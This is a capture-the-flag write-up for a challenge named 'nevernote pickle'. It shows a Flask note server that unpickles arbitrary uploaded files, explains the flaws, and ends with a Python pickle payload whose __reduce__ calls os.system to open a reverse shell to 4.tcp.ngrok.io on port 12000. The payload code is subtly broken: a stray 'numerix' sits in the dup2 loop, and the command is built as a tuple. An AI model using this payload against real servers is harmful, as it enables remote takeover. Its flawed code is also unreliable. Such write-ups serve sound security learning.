nevernote pickle

Python pickle RCE.

2 min read


Table of Contents

To begin the challenge, we are provided the source code to a Python web server:

 Source Code
#!/usr/bin/env python3

from flask import Flask, render_template, send_from_directory, request, redirect
from werkzeug import secure_filename

import pickle
import os # i hope no one uses os.system

NOTE_FOLDER='notes/'


class Note(object):
    def __init__(self, title, content, image_filename):
        self.title=title
        self.content=content
        self.image_filename=secure_filename(image_filename)
        self.internal_title=secure_filename(title)


def save_note(note, image):
    note_file=open(NOTE_FOLDER + secure_filename(note.title + '.pickle'), 'wb')
    note_file.write(pickle.dumps(note))
    note_file.close()

    image.save(NOTE_FOLDER + note.image_filename)


def unpickle_file(file_name):
    note_file=open(NOTE_FOLDER + file_name, 'rb')
    return pickle.loads(note_file.read())


def load_all_notes():
    notes=[]
    for filename in os.listdir(NOTE_FOLDER):
        if filename.endswith('.pickle'):
            notes.append(unpickle_file(filename))
    return notes


app=Flask(__name__)


@app.route('/')
def index():
    return render_template('index.html', notes=load_all_notes())


@app.route('/notes/<file_name>')
def notes(file_name):
    if request.args.get('view', default=False):
        ##################################################################
        # let me go ahead and unpickle whatever file is being requested...
        ##################################################################
        note=unpickle_file(file_name)
        return render_template('view.html', note=note)
    else:
        ##################################################################
        # let me go ahead and send whatever file is being requested...
        ##################################################################
        return send_from_directory(NOTE_FOLDER, file_name)


@app.route('/new', methods=['GET', 'POST'])
def note_new():
    if request.method == "POST":
        image=request.files.get('image')
        if not image.filename.endswith('.png'):
            return 'nah bro png images only!', 403
        new_note=Note(
            request.form.get('title'),
            request.form.get('content'),
            image_filename=image.filename
        )
        save_note(new_note, image)
        return redirect('/notes/' + new_note.internal_title + '.pickle' + '?view=true')
    return render_template('new.html')


if __name__ == "__main__":
    app.run(
        host='0.0.0.0',
        port=5000
    )

After reviewing the code, we see a few things that are suspicious. Firstly, when making a new note, the code only checks for the .png file extension for the image uploaded. Then a new Note object is created, and the object is pickled:

image=request.files.get('image')
if not image.filename.endswith('.png'):
    return 'nah bro png images only!', 403
new_note=Note(
    request.form.get('title'),
    request.form.get('content'),
    image_filename=image.filename
)
save_note(new_note, image)
return redirect('/notes/' + new_note.internal_title + '.pickle' + '?view=true')

Obviously checking if the filename of the image uploaded ends with .png is not sufficient for checking if the file is actually a PNG file (at least check the magic bytes ;)).

So we've identified an initial flaw, but this is not yet exploitable since we don't control the Note object being pickled. Let's keep looking.

Next lets take a look at the /notes/<file_name> endpoint:

def unpickle_file(file_name):
    note_file=open(NOTE_FOLDER + file_name, 'rb')
    return pickle.loads(note_file.read())

# ...

@app.route('/notes/<file_name>')
def notes(file_name):
    if request.args.get('view', default=False):
        ##################################################################
        # let me go ahead and unpickle whatever file is being requested...
        ##################################################################
        note=unpickle_file(file_name)
        return render_template('view.html', note=note)
    else:
        ##################################################################
        # let me go ahead and send whatever file is being requested...
        ##################################################################
        return send_from_directory(NOTE_FOLDER, file_name)

Do you see the issues? There are no checks being applied to the file being un-pickled. This means we can un-pickle an arbitrary file. We can combine the with the initial flaw identified to exploit a well know RCE vector in Python's pickle.

We can modify the POC in the article slightly and get the following:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = (
            'export RHOST="4.tcp.ngrok.io";', \
            'export RPORT=12000;', \
            'python3 -c \'import sys,socket,os,pty;s=socket.socket();', \
            's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));', \
            '[os.dup2(s.fileno(),fd) for fd in (0,numerix,2)];pty.spawn("sh")\''
        )
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    with open('payload.png', 'wb') as f:
        f.write(pickled)

We can then create a new note with the output of the script as the "image" and catch the reverse shell and hitting the /note/payload.png?view=true endpoint.

Image